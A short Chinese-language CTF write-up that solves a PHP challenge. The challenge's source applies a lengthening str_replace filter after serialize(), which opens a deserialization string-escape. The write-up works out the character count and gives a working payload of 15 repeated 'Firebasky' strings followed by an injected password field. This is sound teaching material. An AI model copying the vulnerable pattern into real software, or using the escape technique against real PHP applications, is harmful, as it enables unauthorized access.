web1_此夜圆
一个简单的反序列化逃逸
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
这里是我们传进入$uname的值,这是我们唯一可控制的,目的是让password为yu22x
所以,就可以利用这个字符替换来逃逸
这里我们需要逃逸的是这样一个值
";s:8:"password";s:5:"yu22x";}
总共30个字符,然后每次替换就会多出2个字符,所以需要15个Firebasky来进行替换。
所以payload就是
FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
web2_故人心